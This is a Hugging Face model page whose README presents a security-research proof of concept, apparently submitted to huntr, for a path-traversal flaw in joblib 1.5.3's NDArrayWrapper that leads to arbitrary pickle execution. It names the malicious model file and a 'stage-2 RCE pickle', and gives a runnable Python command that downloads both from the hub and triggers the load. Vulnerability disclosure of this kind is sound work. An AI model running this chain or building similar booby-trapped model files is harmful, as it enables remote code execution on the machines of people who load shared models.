Downloads · 30 days
0
th3-j0k3r/joblib-ndarray-poc
joblib-ndarray-poc is a machine learning model from th3-j0k3r. Use it for the machine learning task on the model card, and read the license before you ship it in a product. The card lists the license as mit.
Security research PoC for huntr MFV submission.
Downloads · 30 days
0
Access
Public
Updated Jun 27, 2026
Repo size
205 B
Likes
0
Public
Click a slice to open those files.
Other1.5 KB · 54%
From the Hugging Face model README
Security research PoC for huntr MFV submission.
Vulnerability: NDArrayWrapper.read() in joblib/numpy_pickle_compat.py uses an unsanitized
self.filename field (from inside the pickle) in os.path.join(), then calls
numpy.load(filename, allow_pickle=True) — enabling path traversal to arbitrary pickle execution.
Affected version: joblib 1.5.3 (latest)
evil.joblib — malicious model file (NDArrayWrapper with filename="../payload.npy")payload.npy — stage-2 RCE pickle (place one directory above evil.joblib)pip3 install joblib==1.5.3 numpy
python3 -c "
import os, joblib
from huggingface_hub import hf_hub_download
os.makedirs('/tmp/poc_model', exist_ok=True)
hf_hub_download('th3-j0k3r/joblib-ndarray-poc', 'payload.npy', local_dir='/tmp')
hf_hub_download('th3-j0k3r/joblib-ndarray-poc', 'evil.joblib', local_dir='/tmp/poc_model')
try: joblib.load('/tmp/poc_model/evil.joblib')
except: pass
print(open('/tmp/jl_rce_proof.txt').read().strip())
"